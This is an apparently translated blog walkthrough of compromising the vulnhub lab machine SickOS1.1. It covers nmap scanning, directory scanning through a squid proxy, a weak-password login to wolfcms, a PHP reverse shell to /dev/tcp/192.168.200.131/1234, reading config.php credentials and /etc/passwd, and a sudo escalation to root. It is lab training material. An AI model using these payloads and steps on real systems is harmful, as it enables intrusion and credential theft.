Table of contents
Step 1: Host discovery and port scanning
The second step squid proxy analysis
Step Four: Escalation of Rights
write at the beginning
This blog is still based on the video of the big brother's red team's notes. It details every step of the thinking of the shooting. It is not a writeup. Readers will gain something after watching it patiently. The shooting process involves knowledge points about http proxy and how to use proxy to scan website directory. See the complete targeting idea:
The target machine targeted this time is SickOS1.1 in vulnhub. This target machine opens an http proxy service squid 3.1.19. There are two ways to get root privileges. This blog first details one of them: Squid proxy analysis +web penetration cms background. The latter method of exploiting the shellshock vulnerability will be detailed in the next blog .
The target machine used in this article is on vulnhub, see the link
For the download link of the target machine, see:
https://download.vulnhub.com/sickos/sick0s1.1.7z
After downloading, open it with vmware, and set the network adapter to NAT mode, otherwise the target machine ip may not be found in the host discovery module
After the target machine is turned on, there is a black login interface, and we do not know the user name and password for login.
Step 1: Host discovery and port scanning
Most of the target drones have the same ideas in this step, see the first two target shooting blogs for details. Check the ip of kali (the command is ip a), it is 192.168.200.131, and the network segment is 192.168.200.0/24, so scan this network segment:
nmap -sn 192.168.200.0/24
Before and after the target machine goes online, scan the network segment twice, and find that the ip of the online target machine is 192.168.200.141, and then perform a port scan on this ip. (--min-rate 10000 means to scan at the minimum rate of 10000, -p- means to scan all ports)
nmap --min-rate 10000 -p- 192.168.200.141
Three ports were found, open 22, 3128 and closed 8080. Let's scan these three ports again with tcp. (-sT scans with TCP, -sV checks the service version, -O checks the operating system version, and adds the port number after -p)
nmap -sT -sV -O -p22,3128,8080 192.168.200.141
It is found that the open service of 3128 is an http proxy, the version is 3.1.19. The service of port 8080 is also an http proxy, but it is shown that it has been closed.
Then use UDP to scan these three ports to ensure that the attack surface will not be missed:
nmap -sU -p22,3128,8080 192.168.200.141
Unfortunately, nothing was found. Try using the vulnerability scanning script that comes with nmap (--script=vuln).
nmap --script=vuln -p22,3128,8080 192.168.200.141
Unfortunately, I still can't see anything.
The second step squid proxy analysis
In the first port scan, we found a total of three ports, port 22 of the remote connection service SSH, port 3128 that seems to be an HTTP proxy, and port 8080 that is closed. So where should we start? Port 22 should be the last step of infiltration. There is no elegant way to infiltrate without knowing the password, and ports 80 and 8080 of common web services are not open. We tried to access the ip of the target machine through the browser, as expected , nothing can be seen, and then try to access the target machine ip:8080, it still prompts that it cannot connect, as shown in the figure below:
There is also a port 3128 in the port scan just now. I am not familiar with this port. As for the open service squid, I don’t know what it is. The browser visits the target machine ip: 3128 to see if there is any information. The result is as follows:
The result is not bad, at least there are pages, and the banner at the bottom of the page also shows the version information of the service (squid/3.1.19), which is consistent with the results of the previous nmap scan. Look at the ERROR page that reported the error again. In fact, there is no more information. The only link on the page, webmaster, is used to send emails, so let's not consider it for now. Then let's google what the squid service does. Note that you must search together with the version number, or the result must be the original meaning of the word squid (squid).
You can probably find that this service is used as a proxy server. 3128 is the port of the proxy server. We will not pay attention to other details. Next, enter the regular path of our web penetration, scan the directory of the target machine ip, and see if there will be any results.
dirb http://192.168.200.141
Adding the address of the target machine directly after dirb cannot be scanned, and this script does not even run. Not enough is normal, after all, the web-related ports 80 and 8080 are not open to the outside world. Then scan again to see if there is any information under port 3128:
dirb http://192.168.200.141:3128 
This time I was finally able to scan, but still nothing. We just now know that squid is a proxy server. When we try to scan with dirb, set the proxy to 192.168.200.141:3128 and scan 192.168.200.141. For reference, I have never used this command, so first check the help, enter dirb, you can find that there is a -p option, followed by proxy ip: port, you can add a proxy server.
Then use dirb to use the proxy server 192.168.200.141:3128, and the command to scan 192.168.200.141 is as follows:
dirb http://192.168.200.141 -p http://192.168.200.141:3128
Very nice, this time the scan has results! Focus on the path with status code CODE:200. The next step should be to try to access these paths with a browser.
Step Three: Web Penetration
Just now our browser directly accessed 192.168.200.141, but there was no echo, because no proxy was set. We open the browser, set => search proxy proxy => select manual configuration proxy => fill in the proxy ip (ie target machine ip) and port (3128)
Set the manual configuration proxy, as shown in the figure below:
My browser here is the firefox browser that comes with kali. If the reader's browser is different, just set the proxy configuration by yourself. After the configuration is complete, click OK, and then visit the target machine ip192.168.200.141, you can see the page echo, as shown below:
As a result, the interface is just like this. F12 looked at it, but there was nothing. As for what this BLEHHH!!! means, we googled it and found that it is a slang term, expressing a strong tone, which means too much.
That can only go back to the scan results of the dirb directory just now, and look for breakthrough points one by one.
After trying, I found that .bash_history is an empty page, index and index.php are both BLEHHH!!! pages just now, and then look at robots and robots, both of which are as follows:
This page exposes a directory named /wolfcms. Then let's try to access the target machine ip//wolfcms in the browser, and find that there are really results:
Obviously this page is a content management system called wolfcms, you can see the word wolf cms at the bottom of the page. At the same time, we randomly clicked on this page, and felt that after the deployment of this cms, it seems that it has not been used too much . The Articles module only has two test articles, and there is no substantive content. At the same time, notice that after clicking Articles, the url path changes to /wolfcms/?articles.html, as shown below:
It is estimated that this should be the user's front-end interface, not the management interface of the cms background. Therefore, our idea is to find out where we can enter the management background of this cms, and see what can be used . I already know that this cms is called wolfcms, so I directly googled the management background path of wolfcms, and the search results are as follows:
Google search shows that the management background of wolf cms is found under the wolfcms/?/admin path, and the url of the previous Articles interface also contains a ?, which is likely to be this path. The browser accesses the target machine ip192.168.200.141/wolfcms/?/admin, and sure enough, the following login interface appears.
This should be the login background of this cms, but a username and password are required. Basically, there are several ideas: weak passwords or default passwords/blasting/infiltration to find leaked information. Since the previous web page directory scan did not expose password-related content, combined with the front-end interface I saw earlier, I feel that there is not much information after the cms deployment, so it is likely that the configuration has not been modified after the cms deployment, and the default configuration has not been modified. password. In short, after searching for wolfcms default admin password on Google, although the default password was not found, we can try the following weak passwords, Username: admin/administrator/root Password: admin/password/passwd/123456 and so on. It is easy to try to get the result. The login user name and password are both admin . After login, the management interface is as shown in the figure:
Here is a digression. Although I logged in with the user, I still feel a little coincidental. The red team note boss said that it is not just luck, but observed that there is not much information after deployment of wolfcms, it is very likely that the default configuration has not been modified after deployment, so the password may also be the default weak password . In actual penetration, it is very common to encounter such a situation of not changing the default password. This logic also makes sense to me. That is to say, like the previous target machine JARBAS, the method of finding the login password of cms is to find the leakage of sensitive information (see the detailed shooting process of JARBAS in the previous blog ). Here we have not found the place where the login credentials are leaked, so whether we should continue to search or give up and try weak passwords, I feel that it really depends on experience.
After logging in to the wolfcms background, click casually and find that there are many code execution and file upload locations. For example, you can fill in the php code in the Home Page, as shown below:
There are also php codes in the articles. We can add our payload in these places, maybe it will be executed.
There is also a location in files where file uploads can be performed. We can also try webshell upload, etc.
Our goal is to get the shell, so we can add a sentence of php code to bounce the shell to kali. We set up another terminal in kali, and nc listens to port 1234, which is used to receive the rebound shell later.
nc -lvnp 1234
Then enter a sentence of php code in the rebound shell on the article page just now, the code is as follows (my kali ip is 192.168.200.131, and the port that nc listened to just now is 1234, readers can modify it according to their own situation):
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.200.131/1234 0>&1'"); ?>
After adding, click Save and Close below to save.
After saving, it will return to the initial page, prompting that the save is successful, as shown in the green rectangle in the following figure:
After saving, we return to the kali monitoring terminal just now and find that we haven’t got the Shell yet. It may be that we just saved the code and didn’t execute it. We click the magnifying glass on the right side of articles to deploy the page and execute it successfully. Got the code:
After clicking the magnifying glass, it will automatically jump to the interface 192.168.200.141/wolfcms/?articles.html, which is a blank interface.
At this time, we check the listening port just now and find that we have successfully obtained the shell, which is www-data
We can check the network card information with ip a, it is indeed the address of the target machine, uname -a to check the operating system version:
Step Four: Escalation of Rights
After obtaining the initial foothold, that is, the authority of www-data, we should escalate the authority, and finally aim to obtain the root authority. First of all, let’s check what permissions you have. The command is sudo –l, but unfortunately you can’t see anything. It should be that the permissions are very low.
Let's see what information is in the current directory:
ls –liah
There are quite a lot of files in the current directory. At the same time, the permissions of many files are 777, which is very nice. There is a configuration file config.php. It is estimated that there will be a lot of configuration information. Let’s take a look:
cat config.php
This interface has a lot of configuration information. The configuration information of the database is given, the user name is root, and the password is john@123
But before the port scan, the database port 3306 was not scanned. Never mind, let's write down this password first. Look at /etc/passwd again, maybe you can see some configuration information:
cat /etc/passwd
Successful visit! Can you see /etc/shadow? Unfortunately, insufficient permissions:
Still going back to the passwd just now, there are several accounts that need attention, only root and sickos are given to the /bin/bash environment , we also saw the user www-data at this time, now we know that the password of the database is john@123 , Maybe this is also the password of these accounts. Let's try ssh remote login. Finally, it was found to be the password of sickos. ssh remote login sickos account:
ssh [email protected] Enter the password is john@123
At this time, we have successfully obtained the permission of the account sickos, and then run sudo -l to check our own permissions at this time. We need to enter the password john@123 and found that the permissions are already the highest permissions of the three ALL.
sudo -l
Now that you have ALL permission, directly run sudo /bin/bash to get the root shell, as shown in the figure below:
sudo /bin/bash
There is nothing in the current directory. It is estimated that the flag is in the /root directory, and it is found.
Targeting is now complete.
Summary and reflection
This target machine is not complicated, let’s summarize the whole process and ideas of target shooting, as follows:
1. Host discovery and port scanning, found that port 22 for remote connection SSH and port 3128 for proxy server are open.
2. Comprehensive consideration still starts from the web, but there is no information for direct access. When the browser accesses port 3128 of the target machine, you can see that the service name version is squid 3.1.19. Google searched for what this is, and found that it is a proxy server. Therefore, a proxy server is set up during directory scanning, and some paths are successfully scanned. Then the browser sets proxy access and finds the page of wolfcms.
3. Look for the background login interface of wolfcms, Google search to find the path, and then find the login interface, the weak password login is successful, and look for the location of background code execution and file upload.
4. Construct the command to rebound the shell, place it in the Articles interface in wolfcms, and save it. Enable nc monitoring in kali and trigger command execution in wolfcms. Successfully obtained the shell of www-data.
5. Attempt to escalate privileges and find sensitive credential information. Check the permissions of www-data and find that a password is required. We don’t know it. Try to check the current directory and find that there is a config.php, which contains the account number and password of the database. The password is join@123.
6. Check /etc/passwd and find that the sickos account has the /bin/bash environment, which is probably a valid user. Guess that the database and the ssh login account share the same password, and successfully ssh login to the sickos account.
7. Elevate the privilege and find that there are already three ALL privileges. Run sudo /bin/bash directly to get the highest privilege.
Some thoughts and points of doubt:
1. When logging in to the wolfcms background, I successfully logged in with the weak password admin. I still feel that this advantage is just a matter of luck.
2. At the last privilege escalation, the configuration file leaked the password of the database, and this password happened to be the password of the user sickos, which is a bit of a coincidence.
Not enough. According to the red team notes, the infiltration process is a lot of attempts. Sometimes it seems to be accidental, and the actual occurrence is not low . This is because the operation and maintenance personnel may save trouble or the configuration has not had time to modify. It also inspires us not to use default passwords and weak passwords, and not to use database passwords as user passwords.
This target shooting is finished, but there are other infiltration ideas in this shooting range. In my next article, I will use the shellshock vulnerability to infiltrate the sickos target machine , so stay tuned.
If readers think that the summary I wrote is good, please like it and give it a lot of support. If you have any questions about shooting ranges and vulnerabilities, you can also point them out in the comment area, and I will definitely know everything.